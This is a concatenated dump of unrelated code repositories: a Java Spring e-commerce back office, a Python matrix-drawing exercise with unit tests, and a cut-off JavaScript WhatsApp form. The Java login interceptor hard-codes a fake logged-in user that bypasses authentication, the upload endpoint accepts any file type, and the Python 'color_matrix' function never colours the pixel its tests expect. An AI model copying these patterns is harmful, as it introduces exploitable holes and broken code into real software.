public interface Md5Pwd {
public String encode(String password);
}
<file_sep>/src/main/java/com/wq/core/controller/back/UploadController.java
package com.wq.core.controller.back;
import com.sun.jersey.api.client.Client;
import com.sun.jersey.api.client.WebResource;
import com.wq.common.util.ResponseUtils;
import com.wq.common.web.Constants;
import org.apache.commons.io.FilenameUtils;
import org.json.JSONObject;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Random;
/**
* Created by 王萍 on 2016/12/30 0030.
*/
@Controller
@RequestMapping("/upload")
public class UploadController {
@RequestMapping("/uploadPic.do")
public void uploadBrandPic(HttpServletResponse response, @RequestParam(required = false) MultipartFile pic) {
//图片名称生成策略---采用时间格式(精确到毫秒)并追加随机3位(10以内)数字
//精确到毫秒
DateFormat df = new SimpleDateFormat("yyyyMMddHHmmssSSS");
String picName = df.format(new Date());
//随机再生成3位 10以内的数
Random r = new Random();
for (int i = 0; i < 3; i++) {
picName += r.nextInt(10);
}
// 拓展名
String originalFilename = pic.getOriginalFilename();
String extension = FilenameUtils.getExtension(originalFilename);
// 相对路径
String path = "upload/" + picName + "." + extension;
String url = Constants.IMAGE_URL + path;
// 使用jersey客户端
Client client = new Client();
WebResource resource = client.resource(url);
try {
resource.put(String.class, pic.getBytes());
} catch (IOException e) {
e.printStackTrace();
}
JSONObject jo = new JSONObject();
jo.put("path",path);
jo.put("url",url);
ResponseUtils.renderJson(response,jo.toString());
}
}
<file_sep>/src/main/java/com/wq/core/controller/back/CenterController.java
package com.wq.core.controller.back;
import com.wq.core.bean.TestTb;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
/**
* Created by 王萍 on 2016/12/29 0029.
*/
@Controller
public class CenterController {
// @InitBinder
// public void initBinder(HttpServletRequest request, ServletRequestDataBinder binder){
// DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
// binder.registerCustomEditor(Date.class,new CustomDateEditor(df,false));
// }
@RequestMapping("/test/springmvc.do")
public String testSpringmvc(TestTb testTb, ModelMap modelMap) {
System.out.println(testTb);
return "";
}
@RequestMapping("/index.do")
public String index(){return "index";}
@RequestMapping("/top.do")
public String top(){return "top";}
@RequestMapping("/main.do")
public String main(){return "main";}
@RequestMapping("/left.do")
public String left(){return "left";}
@RequestMapping("/right.do")
public String right(){return "right";}
}
<file_sep>/src/main/java/com/wq/common/web/session/HttpSessionProvider.java
package com.wq.common.web.session;
import com.wq.common.web.Constants;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.Serializable;
/**
* Created by 王萍 on 2017/1/7 0007.
*/
public class HttpSessionProvider implements SessionProvider {
public void setAttribute(HttpServletRequest request, String name, Serializable value) {
HttpSession session = request.getSession();
if (session!=null){
session.setAttribute(name,value);
}
}
public Serializable getAttribute(HttpServletRequest request, String name) {
// 不重新创建新的session,使用已有的session
HttpSession session = request.getSession(false);
if (session!=null){
return (Serializable) session.getAttribute(name);
}else return null;
}
public void logout(HttpServletRequest request, HttpServletResponse response) {
HttpSession session = request.getSession(false);
if (null!=session){
session.invalidate();
}
Cookie cookie = new Cookie(Constants.SESSION_ID,null);
cookie.setMaxAge(0);
response.addCookie(cookie);
}
public String getSessionId(HttpServletRequest request) {
return request.getSession().getId();
// 直接从请求中返回sessionId
// return request.getRequestedSessionId();
}
}
<file_sep>/src/main/java/com/wq/core/service/product/impl/ProductServiceImpl.java
package com.wq.core.service.product.impl;
import com.wq.common.page.Pagination;
import com.wq.core.bean.product.Img;
import com.wq.core.bean.product.Product;
import com.wq.core.dao.product.ImgDao;
import com.wq.core.dao.product.ProductDao;
import com.wq.core.query.product.ImgQuery;
import com.wq.core.query.product.ProductQuery;
import com.wq.core.service.product.ProductService;
import com.wq.common.web.Constants;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
@Service
@Transactional
public class ProductServiceImpl implements ProductService {
@Autowired
private ProductDao productDao;
@Autowired
private ImgDao imgDao;
@Transactional(readOnly = true)
public Pagination getProductListWithPage(ProductQuery productQuery) {
//获取满足条件的商品总数
int count = productDao.getProductListCount(productQuery);
Pagination p = new Pagination(productQuery.getPageNo(), productQuery.getPageSize(), count);
List<Product> products = productDao.getProductListWithPage(productQuery);
for (Product product : products) {
//为商品加载默认图片
ImgQuery imgQuery = new ImgQuery();
imgQuery.setProductId(product.getId());
imgQuery.setIsDef(Constants.YES);
List<Img> imgs = imgDao.getImgList(imgQuery);
product.setImg(imgs.get(0));
}
p.setList(products);
return p;
}
public Integer addProduct(Product product) {
DateFormat dateFormat = new SimpleDateFormat("yyyyMMddHHmmssSSS");
String no = dateFormat.format(new Date());
product.setNo(no);
product.setCreateTime(new Date(System.currentTimeMillis()));
Integer i = productDao.addProduct(product);
Img img = product.getImg();
img.setProductId(product.getId());
img.setIsDef(Constants.YES);
imgDao.addImg(img);
return i;
}
@Transactional(readOnly = true)
public Product getProductById(Integer id) {
Product product = productDao.getProductById(id);
ImgQuery imgQuery = new ImgQuery();
imgQuery.setProductId(product.getId());
imgQuery.setIsDef(Constants.YES);
List<Img> imgs = imgDao.getImgList(imgQuery);
product.setImg(imgs.get(0));
return product;
}
public Integer updateProductById(Product product) {
return productDao.updateProductById(product);
}
}
<file_sep>/src/main/java/com/wq/core/controller/back/SkuController.java
package com.wq.core.controller.back;
import com.wq.common.database.OrderField;
import com.wq.common.util.ResponseUtils;
import com.wq.core.bean.product.Sku;
import com.wq.core.query.product.SkuQuery;
import com.wq.core.service.product.ColorService;
import com.wq.core.service.product.SkuService;
import org.json.JSONObject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletResponse;
import java.util.LinkedList;
import java.util.List;
/**
* Created by 王萍 on 2017/1/6 0006.
*/
@Controller
@RequestMapping("/sku")
public class SkuController {
@Autowired
private SkuService skuService;
@Autowired
private ColorService colorService;
@RequestMapping("/list.do")
public String list(Integer id, String no, ModelMap model) {
SkuQuery skuQuery = new SkuQuery();
skuQuery.setProductId(id);
List<OrderField> orderFields = new LinkedList<OrderField>();
orderFields.add(new OrderField("id","desc"));
skuQuery.setOrderFields(orderFields);
List<Sku> skus = skuService.getSkuList(skuQuery);
model.addAttribute("skus",skus);
model.addAttribute("no",no);
return "sku/list";
}
@RequestMapping("/add.do")
public void add(Sku sku, HttpServletResponse response){
skuService.updateSku(sku);
JSONObject jsonObject = new JSONObject();
jsonObject.put("message","保存成功");
ResponseUtils.renderJson(response,jsonObject.toString());
}
}
<file_sep>/src/main/java/com/wq/core/dao/product/TypeDao.java
package com.wq.core.dao.product;
import com.wq.core.bean.product.Type;
import com.wq.core.query.product.TypeQuery;
import java.util.List;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
public interface TypeDao {
public List<Type> getTypeList(TypeQuery typeQuery);
}
<file_sep>/src/main/webapp/res/js/upload.js
/**
* Created by wang0 on 2017/1/5 0005.
*/
function uploadPic() {
//定义参数
var options = {
url: "/upload/uploadPic.do",
dataType: "json",
type: "post",
beforeSubmit: function (formData, jqForm, options) {
//判断是否为图片
var f = jqForm[0];//将jqForm转成DOM对象
var v = f.pic.value;//获取DOM对象中name为pic的值 pic为上传的图片文件的name
//获取扩展名,并转成小写
var ext = v.substring(v.length - 3).toLowerCase();
//比对扩展名 jpg gif bmp png
if (ext != "jpg" && ext != "gif" && ext != "bmp" && ext != "png") {
alert("只允许上传图片!");
return false;
}
//校验提交的表单
return true;
},
success: function (data) {
$("#allImgUrl").attr("src", data.url);
$("#path").val(data.path);
}
};
//jquery.form使用方式
$("#jvForm").ajaxSubmit(options);
}
<file_sep>/src/main/java/com/wq/core/bean/product/Type.java
package com.wq.core.bean.product;
import lombok.Getter;
import lombok.Setter;
import java.io.Serializable;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
@Getter
@Setter
public class Type implements Serializable {
private static final long serialVersionUID = 1L;
private Integer id;
private String name;
private Integer parentId;
private String note;
private Integer isDisplay;
}
<file_sep>/src/main/java/com/wq/core/bean/user/Buyer.java
package com.wq.core.bean.user;
import lombok.Getter;
import lombok.Setter;
import java.io.Serializable;
import java.util.Date;
/**
* Created by 王萍 on 2017/1/7 0007.
*/
@Getter
@Setter
public class Buyer implements Serializable {
private static final long serialVersionUID = 1L;
private String username;
private String password;
private Gender gender;
private String email;
private String realName;
private Date registerTime;
private String province;
private String city;
private String town;
private String addr;
private Integer isDel;
public enum Gender{
MAN{
public String getName(){return "男";}
},
WOMAN{
public String getName(){return "女";}
},
SECRET{
public String getName(){return "保密";}
};
public abstract String getName();
}
}
<file_sep>/src/main/java/com/wq/core/service/user/BuyerService.java
package com.wq.core.service.user;
import com.wq.core.bean.user.Buyer;
/**
* Created by 王萍 on 2017/1/7 0007.
*/
public interface BuyerService {
public Buyer getBuyerByUsername(String username);
public void updateBuyer(Buyer buyer);
}
<file_sep>/src/main/java/com/wq/core/controller/back/BrandController.java
package com.wq.core.controller.back;
import com.wq.core.bean.product.Brand;
import com.wq.core.query.product.BrandQuery;
import com.wq.core.service.product.BrandService;
import com.wq.common.web.Constants;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.List;
/**
* Created by 王萍 on 2016/12/30 0030.
*/
@Controller
@RequestMapping("/brand")
public class BrandController {
@Autowired
private BrandService brandService;
@RequestMapping("/list.do")
public String list(HttpServletRequest request, HttpServletResponse response, ModelMap model){
BrandQuery brandQuery = new BrandQuery();
brandQuery.setIsDisplay(Constants.YES);
List<Brand> brands = brandService.getBrandList(brandQuery);
model.addAttribute("brands",brands);
return "brand/list";
}
@RequestMapping("/toAdd.do")
public String toAdd(){
return "brand/add";
}
@RequestMapping("/add.do")
public String add(Brand brand){
brandService.addBrand(brand);
return "redirect:/brand/list.do";
}
@RequestMapping("/delete.do")
public String delete(Integer id){
brandService.deleteBrandById(id);
return "redirect:/brand/list.do";
}
@RequestMapping("/batchDelete.do")
public String batchDelete(Integer[] ids){
brandService.deleteBrandByIds(ids);
return "redirect:/brand/list.do";
}
@RequestMapping("/toEdit.do")
public String toEdit(Integer id,ModelMap modelMap){
modelMap.addAttribute("brand",brandService.getBrandById(id));
return "brand/edit";
}
@RequestMapping("/edit.do")
public String edit(Brand brand){
brandService.updateBrand(brand);
return "redirect:/brand/list.do";
}
}
<file_sep>/src/main/java/com/wq/core/web/springmvc/FrontInterceptor.java
package com.wq.core.web.springmvc;
import com.wq.common.web.Constants;
import com.wq.common.web.session.SessionProvider;
import com.wq.core.bean.user.Buyer;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* Created by 王萍 on 2017/1/7 0007.
*/
public class FrontInterceptor implements HandlerInterceptor {
@Autowired
private SessionProvider sessionProvider;
public static final String INTERCEPTOR_URL="/buyer/";
public static final String RETURNURL="returnUrl";
private Integer adminId=1;
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object o) throws Exception {
if (null!=adminId){
Buyer b = new Buyer();
b.setUsername("a");
sessionProvider.setAttribute(request, Constants.BUYER_SESSION,b);
request.setAttribute("isLogin",true);
}else {
// 从session中取出buyer对象
Buyer buyer = (Buyer) sessionProvider.getAttribute(request,Constants.BUYER_SESSION);
//如果对象存在,将isLogin设为true
if (null!=buyer){
request.setAttribute("isLogin",true);
}else {
request.setAttribute("isLogin",false);
}
String requestURI = request.getRequestURI();
//如果请求路径为需要保护的路径,进行拦截并判断是否允许通过
if (requestURI.contains(INTERCEPTOR_URL)){
//如果不满足就返回登陆界面进行登陆
if (null==buyer){
response.sendRedirect("/shopping/login.shtml?"+RETURNURL+"="+requestURI);
return false;
}
}
}
return true;
}
public void postHandle(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e) throws Exception {
}
}
<file_sep>/src/main/java/com/wq/core/service/product/FeatureService.java
package com.wq.core.service.product;
import com.wq.core.bean.product.Feature;
import com.wq.core.query.product.FeatureQuery;
import java.util.List;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
public interface FeatureService {
public List<Feature> getFeatureList(FeatureQuery featureQuery);
}
<file_sep>/src/main/java/com/wq/core/controller/back/ProductController.java
package com.wq.core.controller.back;
import com.wq.common.page.Pagination;
import com.wq.core.bean.product.*;
import com.wq.core.query.product.*;
import com.wq.core.service.product.*;
import com.wq.core.service.staticpage.StaticPageService;
import com.wq.common.web.Constants;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.util.CollectionUtils;
import org.springframework.web.bind.annotation.RequestMapping;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
/**
* Created by 王萍 on 2016/12/30 0030.
*/
@Controller
@RequestMapping("/product")
public class ProductController {
@Autowired
private BrandService brandService;
@Autowired
private ProductService productService;
@Autowired
private TypeService typeService;
@Autowired
private FeatureService featureService;
@Autowired
private ColorService colorService;
@Autowired
private SkuService skuService;
@Autowired
private StaticPageService staticPageService;
@RequestMapping(value = "/list.do")
public String list(Integer pageNo, String name, Integer brandId, Integer isShow, ModelMap model) {
//默认加载品牌
BrandQuery brandQuery = new BrandQuery();
//设置 可见不可见
brandQuery.setIsDisplay(Constants.YES);
//设置只要Id Name
brandQuery.setFields("id,name");
List<Brand> brands = brandService.getBrandList(brandQuery);
model.addAttribute("brands", brands);
model.addAttribute("brandId", brandId);
StringBuilder params = new StringBuilder();
//设置条件的对象
ProductQuery productQuery = new ProductQuery();
//默认加载
//1:设置未删除
productQuery.setIsDel(Constants.YES);
//2:设置下架状态
productQuery.setIsShow(Constants.NO);
productQuery.orderbyId(false);
//Blank 1:去掉二侧的空串,再判断是否为空串 "" " "
//Empty 直接判断是否为空串 "" " "
//拼接查询条件
if (null != name && StringUtils.isNotBlank(name)) {
productQuery.setName(name);
params.append("&")
.append("name=" + name);
}
//品牌ID
if (null != brandId) {
productQuery.setBrandId(brandId);
params.append("&")
.append("brandId=" + brandId);
}
//上下架
if (null != isShow) {
productQuery.setIsShow(isShow);
params.append("&")
.append("isShow=" + isShow);
model.addAttribute("isShow", isShow);
} else {
model.addAttribute("isShow", 0);
}
System.out.println(isShow);
productQuery.setPageNo(Pagination.cpn(pageNo));//1 10
productQuery.setPageSize(20);
//分页对象的使用方法
Pagination pagination = productService.getProductListWithPage(productQuery);
String url = "/product/list.do";
//String params = "brandId=1&name=2014瑜伽服套装新款&pageNo=1";
pagination.pageView(url, params.toString());
//<a href="javascript:void(0)" onclick="javascript:window.location.href='
// /product/list.do?&=1&name=2014瑜伽服套装新款&pageNo=1'" />
model.addAttribute("pagination", pagination);
return "product/list";
}
@RequestMapping("/toAdd.do")
public String toAdd(ModelMap model) {
TypeQuery typeQuery = new TypeQuery();
typeQuery.setIsDisplay(Constants.YES);
typeQuery.setFields("id,name");
List<Type> types = typeService.getTypeList(typeQuery);
model.addAttribute("types", types);
BrandQuery brandQuery = new BrandQuery();
brandQuery.setIsDisplay(Constants.YES);
brandQuery.setFields("id,name");
List<Brand> brands = brandService.getBrandList(brandQuery);
model.addAttribute("brands", brands);
FeatureQuery featureQuery = new FeatureQuery();
featureQuery.setIsDel(Constants.YES);
featureQuery.setFields("id,name");
List<Feature> features = featureService.getFeatureList(featureQuery);
model.addAttribute("features", features);
ColorQuery colorQuery = new ColorQuery();
colorQuery.setParentId(Constants.YES);
List<Color> colors = colorService.getColorList(colorQuery);
model.addAttribute("colors", colors);
return "product/add";
}
@RequestMapping("/add.do")
public String add(Product product, Img img) {
product.setImg(img);
productService.addProduct(product);
return "redirect:/product/list.do";
}
@RequestMapping("/show.do")
public String show(Integer[] ids, Integer pageNo, String name, Integer brandId, Integer isShow, ModelMap model) {
Product product = new Product();
product.setIsShow(Constants.YES);
if (ids!=null&&ids.length>0){
for (Integer id : ids) {
product.setId(id);
productService.updateProductById(product);
Map<String,Object> root = new HashMap<String,Object>();
root.put("product",productService.getProductById(id));
List<Sku> skus = skuService.getStock(id);
root.put("skus",skus);
List<Integer> colorIds = new LinkedList<Integer>();
for (Sku sku:skus){
if (!colorIds.contains(sku.getColorId())){
colorIds.add(sku.getColorId());
}
}
if (!CollectionUtils.isEmpty(colorIds)){
root.put("colors",colorService.getColorByIds(colorIds));
}else {
root.put("colors",null);
}
staticPageService.productIndex(root,id);
}
}
if (null!=pageNo){
model.addAttribute("pageNo",pageNo);
}
if(StringUtils.isNotBlank(name)){
model.addAttribute("name", name);
}
if(null != brandId){
model.addAttribute("brandId", brandId);
}
if(null != isShow){
model.addAttribute("isShow", isShow);
}
return "redirect:/product/list.do";
}
}
|
15ee732348122f339ee1a6008cf739a9df8fbd3a
|
[
"JavaScript",
"Java",
"INI"
] | 24
|
Java
|
wanwanpp/ElectronicBusinessPlatform
|
4b45c0754311123178ab5e7d75f1af8b73b8114c
|
e4cc5dd719d17f9dc666d8d7189282f1447995da
|
refs/heads/master
|
<repo_name>andrebianco/editor-grafico<file_sep>/README.md
# Editor Gráfico
Teste de desenvolvimento de um Editor Gráfico.
# Explicação
Dada uma matriz de tamanho MxN na qual cada elemento represente um pixel, crie
um programa que leia uma sequência de comandos e os interprete manipulando a
matriz de acordo com a descrição abaixo de cada comando.
# Comandos
I M N
Cria uma nova matriz MxN. Todos os pixels são brancos (O).
C
Limpa a matriz. O tamanho permanece o mesmo. Todos os pixels ficam brancos (O).
L X Y C
Colore um pixel de coordenadas (X,Y) na cor C.
V X Y1 Y2 C
Desenha um segmento vertical na coluna X nas linhas de Y1 a Y2 (intervalo
inclusivo) na cor C.
H X1 X2 Y C
Desenha um segmento horizontal na linha Y nas colunas de X1 a X2 (intervalo
inclusivo) na cor C.
K X1 Y1 X2 Y2 C
Desenha um retangulo de cor C. (X1,Y1) é o canto superior esquerdo e (X2,Y2) o
canto inferior direito.
F X Y C
Preenche a região com a cor C. A região R é definida da seguinte forma:
O pixel (X,Y) pertence a região. Outro pixel pertence a região, se e somente
se, ele tiver a mesma cor que o pixel (X,Y) e tiver pelo menos um lado em comum
com um pixel pertencente a região.
S name
Escreve a imagem em um arquivo de nome name.
X
Encerra o programa.
# Considerações
Comandos diferentes de I, C, L, V, H, K, F, S e X devem ser ignorados
#Testes
Entrada 01:
I 5 6
L 2 3 A
S one.bmp
G 2 3 J
V 2 3 4 W
H 3 4 2 Z
F 3 3 J
S two.bmp
X
Saida 01:
one.bmp
OOOOO
OOOOO
OAOOO
OOOOO
OOOOO
OOOOO
two.bmp
JJJJJ
JJZZJ
JWJJJ
JWJJJ
JJJJJ
JJJJJ
Entrada 02:
I 10 9
L 5 3 A
G 2 3 J
V 2 3 4 W
H 1 10 5 Z
F 3 3 J
K 2 7 8 8 E
F 9 9 R
S one.bmp
X
Saida 02:
one.bmp
JJJJJJJJJJ
JJJJJJJJJJ
JWJJAJJJJJ
JWJJJJJJJJ
ZZZZZZZZZZ
RRRRRRRRRR
REEEEEEERR
REEEEEEERR
RRRRRRRRRR
## Dependência
```console
git clone https://github.com/andrebianco/editor-grafico.git
cd editor-grafico
python -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```<file_sep>/editor_grafico.py
# !/usr/bin/python
# -*- coding: utf-8 -*-
'''
PROPOSTA: Editor Gráfico que retorna uma imagem bitmap como resultado do
processamento.
AUTOR: <NAME>
<EMAIL>
DATA: 2016-10-04
Explicação
----------
Dada uma matriz de tamanho MxN na qual cada elemento represente um pixel, crie
um programa que leia uma sequência de comandos e os interprete manipulando a
matriz de acordo com a descrição abaixo de cada comando.
Comandos
--------
I M N
Cria uma nova matriz MxN. Todos os pixels são brancos (O).
C
Limpa a matriz. O tamanho permanece o mesmo. Todos os pixels ficam brancos (O).
L X Y C
Colore um pixel de coordenadas (X,Y) na cor C.
V X Y1 Y2 C
Desenha um segmento vertical na coluna X nas linhas de Y1 a Y2 (intervalo
inclusivo) na cor C.
H X1 X2 Y C
Desenha um segmento horizontal na linha Y nas colunas de X1 a X2 (intervalo
inclusivo) na cor C.
K X1 Y1 X2 Y2 C
Desenha um retangulo de cor C. (X1,Y1) é o canto superior esquerdo e (X2,Y2) o
canto inferior direito.
F X Y C
Preenche a região com a cor C. A região R é definida da seguinte forma:
O pixel (X,Y) pertence a região. Outro pixel pertence a região, se e somente
se, ele tiver a mesma cor que o pixel (X,Y) e tiver pelo menos um lado em comum
com um pixel pertencente a região.
S name
Escreve a imagem em um arquivo de nome name.
X
Encerra o programa.
Considerações
-------------
Comandos diferentes de I, C, L, V, H, K, F, S e X devem ser ignorados
Testes
------
Entrada 01:
I 5 6
L 2 3 A
S one.bmp
G 2 3 J
V 2 3 4 W
H 3 4 2 Z
F 3 3 J
S two.bmp
X
Saida 01:
one.bmp
OOOOO
OOOOO
OAOOO
OOOOO
OOOOO
OOOOO
two.bmp
JJJJJ
JJZZJ
JWJJJ
JWJJJ
JJJJJ
JJJJJ
Entrada 02:
I 10 9
L 5 3 A
G 2 3 J
V 2 3 4 W
H 1 10 5 Z
F 3 3 J
K 2 7 8 8 E
F 9 9 R
S one.bmp
X
Saida 02:
one.bmp
JJJJJJJJJJ
JJJJJJJJJJ
JWJJAJJJJJ
JWJJJJJJJJ
ZZZZZZZZZZ
RRRRRRRRRR
REEEEEEERR
REEEEEEERR
RRRRRRRRRR
'''
import sys
from PIL import Image, ImageDraw, ImageFont
current_matrix = ''
def editor(command):
'''Editor Gráfico que retorna um bitmap'''
try:
if command[0] == 'I':
return create_matrix(command)
elif command[0] == 'C':
return clear_matrix()
elif command[0] == 'L':
return color_matrix(command)
elif command[0] == 'S':
return save_bmp(command)
else:
return 'Invalid command!'
except IndexError:
return 'Invalid command!'
def create_matrix(command):
'''
I M N
Cria uma nova matriz MxN. Todos os pixels são brancos (O).
'''
columns, rows, matrix = 0, 0, ''
try:
columns = '0' * int(command[1])
rows = int(command[2])
except ValueError:
return 'Invalid command!'
if columns == '' or rows == 0:
return 'Invalid command!'
row = 0
while row != rows:
matrix += columns + '\n'
row += 1
current_matrix = matrix
write_matrix_on_file(current_matrix)
return current_matrix
def color_matrix(command):
'''
L X Y C
Colore um pixel de coordenadas (X,Y) na cor C.
'''
x, y, len_column, color = 0, 0, 0, ''
try:
x = int(command[1])
y = int(command[2])
color = command[3]
except ValueError:
return 'Invalid command!'
if not isinstance(color, str):
return 'Invalid command!'
if color == '':
return 'Invalid command!'
current_matrix = read_matrix_on_file()
map_file(current_matrix)
write_matrix_on_file(current_matrix)
return current_matrix
def clear_matrix():
'''
C
Limpa a matriz. O tamanho permanece o mesmo. Todos os pixels
ficam brancos (O).
'''
current_matrix = read_matrix_on_file()
if current_matrix == '':
return 'Nothing to do!'
else:
matrix_list = list(current_matrix)
for idx, char_ in enumerate(matrix_list):
if char_ not in ('0', '\n'):
matrix_list[idx] = '0'
current_matrix = ''.join(matrix_list)
write_matrix_on_file(current_matrix)
return current_matrix
def write_matrix_on_file(matrix):
'''Grava a matriz em um arquivo texto'''
file = open('matrix.txt', 'w')
file.write(matrix)
file.close()
def read_matrix_on_file():
'''Lê a matriz de um arquivo texto'''
try:
file = open('matrix.txt', encoding='utf-8')
current_matrix = file.read()
file.close()
except FileNotFoundError:
current_matrix = ''
return current_matrix
def map_file(matrix):
'''Faz o mapeamento da matriz'''
rows = []
row = []
columns = []
for c in matrix:
if c != '\n':
columns.append(c)
else:
row.append(columns)
rows.append(row)
print(rows)
def unmap_file(matrix):
'''Desfaz o mapeamento da matriz'''
pass
def save_bmp(command):
'''Salva o arquivo bitmap'''
file_name = command[1]
image = Image.new("RGB", (500, 500))
draw = ImageDraw.Draw(image)
font = ImageFont.truetype("Arvo-Regular.ttf", 25)
text = read_matrix_on_file()
draw.text((0, 0), text, font=font)
file = open(file_name, "wb")
image.save(file, "BMP")
image.show()
if __name__ == '__main__':
command = sys.argv[1:]
current_matrix = editor(command)
print(current_matrix)
<file_sep>/test_editor_grafico.py
# !/usr/bin/python
# -*- coding: utf-8 -*-
'''
PROPOSTA: Suite de Testes do Aplicativo Editor Gráfico (editor_grafico.py).
AUTOR: <NAME>
<EMAIL>
DATA: 2016-10-04
'''
import unittest
from editor_grafico import editor
class EditorGraficoTest(unittest.TestCase):
'''Suite de testes do Editor Gráfico'''
def test_send_command_invalid(self):
result = editor([])
expected = 'Invalid command!'
self.assertEqual(result, expected)<file_sep>/test_editor_grafico_comando_C.py
# !/usr/bin/python
# -*- coding: utf-8 -*-
'''
PROPOSTA: Suite de Testes do Aplicativo Editor Gráfico (editor_grafico.py).
AUTOR: <NAME>
<EMAIL>
DATA: 2016-10-04
'''
import unittest
import os
from editor_grafico import editor
class EditorGraficoTest(unittest.TestCase):
'''Suite de testes do Editor Gráfico'''
def setUp(self):
if os.path.exists('matrix.txt'):
os.remove('matrix.txt')
def test_send_command_first_C(self):
result = editor(['C'])
expected = 'Nothing to do!'
self.assertEqual(result, expected)
def test_send_command_C(self):
editor(['I', 5, 6])
result = editor(['C'])
expected = '00000\n00000\n00000\n00000\n00000\n00000\n'
self.assertEqual(result, expected)
def test_send_command_C_effective(self):
file = open('matrix.txt', 'w')
file.write('0A000\n0000A\n0A000\n00000\n000A0\n00A00\n')
file.close()
result = editor(['C'])
expected = '00000\n00000\n00000\n00000\n00000\n00000\n'
self.assertEqual(result, expected)
<file_sep>/test_editor_grafico_comando_I.py
# !/usr/bin/python
# -*- coding: utf-8 -*-
'''
PROPOSTA: Suite de Testes do Aplicativo Editor Gráfico (editor_grafico.py).
AUTOR: <NAME>
<EMAIL>
DATA: 2016-10-04
'''
import unittest
import os
from editor_grafico import editor
class EditorGraficoTest(unittest.TestCase):
'''Suite de testes do Editor Gráfico'''
def setUp(self):
if os.path.exists('matrix.txt'):
os.remove('matrix.txt')
def test_send_command_first_I(self):
result = editor(['I'])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_I_5_6(self):
result = editor(['I', 5, 6])
expected = '00000\n00000\n00000\n00000\n00000\n00000\n'
self.assertEqual(result, expected)
def test_send_command_exist_file(self):
editor(['I', 5, 6])
result = os.path.exists('matrix.txt')
expected = True
self.assertTrue(result, expected)
def test_send_command_I_2_2(self):
result = editor(['I', 2, 2])
expected = '00\n00\n'
self.assertEqual(result, expected)
def test_send_command_I_x_2(self):
result = editor(['I', 'x', 2])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_I_4_z(self):
result = editor(['I', 4, 'z'])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_I_a_b(self):
result = editor(['I', 'a', 'b'])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_I_0_4(self):
result = editor(['I', 0, 4])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_I_2_0(self):
result = editor(['I', 2, 0])
expected = 'Invalid command!'
self.assertEqual(result, expected)
<file_sep>/test_editor_grafico_comando_L.py
# !/usr/bin/python
# -*- coding: utf-8 -*-
'''
PROPOSTA: Suite de Testes do Aplicativo Editor Gráfico (editor_grafico.py).
AUTOR: <NAME>
<EMAIL>
DATA: 2016-10-04
'''
import unittest
from editor_grafico import editor
class EditorGraficoTest(unittest.TestCase):
'''Suite de testes do Editor Gráfico'''
def test_send_command_first_L(self):
result = editor(['L'])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_L(self):
editor(['I', 5, 6])
result = editor(['L'])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_L_2_3(self):
editor(['I', 5, 6])
result = editor(['L', 2, 3])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_L_2_3_A(self):
editor(['I', 5, 6])
result = editor(['L', 2, 3, 'A'])
expected = '00000\n00000\n0A000\n00000\n00000\n00000\n'
self.assertEqual(result, expected)
def test_send_command_L_2_3_0(self):
editor(['I', 5, 6])
result = editor(['L', 2, 3, 0])
expected = 'Invalid command!'
self.assertEqual(result, expected)
def test_send_command_L_z_x(self):
editor(['I', 5, 6])
result = editor(['L', 'z', 'x'])
expected = 'Invalid command!'
self.assertEqual(result, expected)
|
d024a0fbab9aa27fa4403b5b2f82aafc11e70e72
|
[
"Markdown",
"Python"
] | 6
|
Markdown
|
andrebianco/editor-grafico
|
cff713d42d419bfb898820338ea399db8f5e7ad6
|
749175b24ea7c7e57d96340bd2424934a2b5c7c1
|
refs/heads/master
|
<file_sep>/* Formulário para Whatsapp */
/* Abre janela Whatsapp com nome e mensagem inseridas*/
function contactWpp() {
let nome = document.querySelector(".form-name");
let mensagem = document.querySelector(".form-msg");
let link;
// formularios estiverem em branco
if (!nome.value == "" && !mensagem.value == ""){
link = "https://api.whatsapp.com/send?phone=5527997450320&text=Olá, Maitê. Me chamo "+nome.value+". "+mensagem.value;
window.open(link)
